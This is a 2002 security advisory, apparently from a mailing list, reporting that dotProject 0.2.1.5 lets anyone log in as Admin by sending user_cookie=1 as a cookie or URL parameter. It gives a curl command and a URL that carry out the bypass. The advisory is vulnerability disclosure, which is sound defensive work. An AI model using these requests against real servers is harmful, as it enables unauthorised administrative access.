php dotProject by pass authentication

From: pokleyzz (pokleyzz@scan-associates.net)
Date: Sun Jul 28 2002 - 20:19:14 PDT

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    SCAN Associates Sdn Bhd Security Advisory
    
    Product: dotProject 0.2.1.5 (possibly other)
    
    Vendor URL: http://www.dotmarketing.org/dotproject/
    
    Summary: php dotProject by pass authentication 
    
    Author: pokleyzz <pokleyzz@scan-associates.net>, sk <sk@scan-associates.net>,
    shaharil <shaharil@scan-associates.net>
    
    Description
    ===========
    dotProject is web base project management system . 
    This application consider as beta version.
    
    Details
    =======
    Everyone can bypass authentication and login as Admin.  
    It was rather simple to exploit, user may send a crafted cookie like:
    
    curl -b user_cookie=1 http://server/project/index.php?m=projects
    
    Or simply append user_cookie=1 in any URL:
    
    http://server/project/index.php?m=projects&user_cookie=1
    
    Vendor Response 
    =============== 
    Vendor has been contacted on 24/7/2002 but no reply. 
    
    www.scan-associates.net <http://www.scan-associates.net>
    



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